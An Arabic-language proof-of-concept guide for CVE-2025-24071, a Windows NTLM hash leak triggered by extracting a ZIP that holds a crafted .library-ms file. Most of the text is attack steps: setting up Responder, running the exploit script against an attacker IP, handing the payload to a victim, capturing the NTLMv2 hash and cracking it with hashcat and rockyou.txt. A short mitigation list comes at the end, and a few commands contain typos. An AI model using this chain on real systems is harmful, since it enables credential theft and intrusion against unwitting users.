CVE-2025-24071-POC-NTLMHashDisclosure

• يُشغّل مصادقة SMB تلقائية إلى مشاركة يتحكم بها المهاجم.
• لا يتطلب أي تفاعل — يستدعي مستكشف Windows مصادقة NTLM هذه تلقائيًا.
• يؤدي إلى تسريب تجزئة NTLMv2 (كشف معلومات).
• يؤثر على Windows 10/11 بجميع الإصدارات، وخاصة 11 23H2.

إعداد بيئة المهاجم

sudo apt update && sudo apt install responder -y

شغّل Responder

sudo responder -I eth0

تشغيل سكربت الاستغلال

تثبيت وحدة Python المطلوبة

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

سيؤدي هذا إلى إنشاء: testpayload.library-ms testpayload.zip

الاختبار على جهاز الضحية

انقل testpayload.zip إلى جهاز اختبار Windows 11. استخرج ملف ZIP باستخدام مستكشف Windows. يؤدي هذا إلى جعل Windows يحاول الوصول إلى مسار SMB، مما يؤدي إلى تسريب تجزئة NTLM.

التقاط التجزئة

responder -I etho0

تجهيز ملف التجزئة

أنشئ ملف hash,txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

اختيار قائمة الكلمات

الأكثر شيوعًا rockyou.txt

تشغيل Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

التخفيف

• احظر اتصالات SMB الصادرة (TCP 445) في جدران الحماية.
• عطّل المصادقة التلقائية لمشاركات SMB غير الموثوقة (نهج المجموعة).
• راقب استخراج ملفات .library-ms واتصالات SMB.